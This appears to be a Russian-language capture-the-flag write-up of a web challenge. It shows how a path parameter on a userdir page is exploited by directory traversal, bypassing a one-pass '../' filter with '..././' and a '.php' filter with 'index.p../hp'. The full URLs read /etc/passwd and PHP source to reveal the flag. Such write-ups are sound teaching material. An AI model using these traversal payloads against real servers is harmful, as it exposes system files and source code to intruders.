Задание:
При переходе по ссылке из задания видим простую статическую страницу.Исследуя код страницы обнаруживаем комментарий:
<!-- created by ~rooney -->
.
Пробуем открыть http://178.62.48.181/~rooney/
(здесь тильда наводит на мысли о модуле Apache /home/rooney/public_html/
):
Ссылка file ведет нас на
http://178.62.48.181/~rooney/?path=rooney
, что выглядит как directory traversal. Проверяем нашу теорию — пробуем открыть http://178.62.48.181/~rooney/?path=../../../../../../../../../etc/passwd
, но ничего не происходит. После нескольких экспериментов обнаруживаем, что ../
вырезается перед фактическим открытием ссылки. Но фильтр срабатывает только один раз, т. е. если мы введем ..././
, то, после работы фильтра, получим ../
, что нам и требуется.
Пробуем открыть http://178.62.48.181/~rooney/?path=..././..././..././..././etc/passwd
, и это работает! Обращаем внимание на следующие строки:
'rooney:x:1000:1000:,,,:/home/rooney:/bin/false'
'th1sizveryl0ngus3rn4me:x:1001:1001:,,,:/home/th1sizveryl0ngus3rn4me:/bin/bash'
Очень подозрительное имя пользователя. Т. к. модуль http://178.62.48.181/~th1sizveryl0ngus3rn4me/
, но видим сообщение «Invalid Device». Хорошо, попробуем посмотреть исходный код этой страницы. Перейдем по http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/index.php
и получаем сообщение Security failed! Судя по всему, расширение .php
тоже фильтруется, но мы можем обойти это перейдя по http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/index.p../hp
Видим, что index.php требует flag.php. Попробуем открыть его (
http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/flag.p../hp
) и получаем флаг:
<pre>
<center>
<h1>Welcome to rooney page</h1>
<img src=files/mathilda.jpg height="450"></img>
<?php
$flag = 'ASIS{I_l0V3_Us3rD1r_Mpdul3!!}';
?>
<a href='?path=rooney'>file</a>
Флаг — ASIS{I_l0V3_Us3rD1r_Mpdul3!!}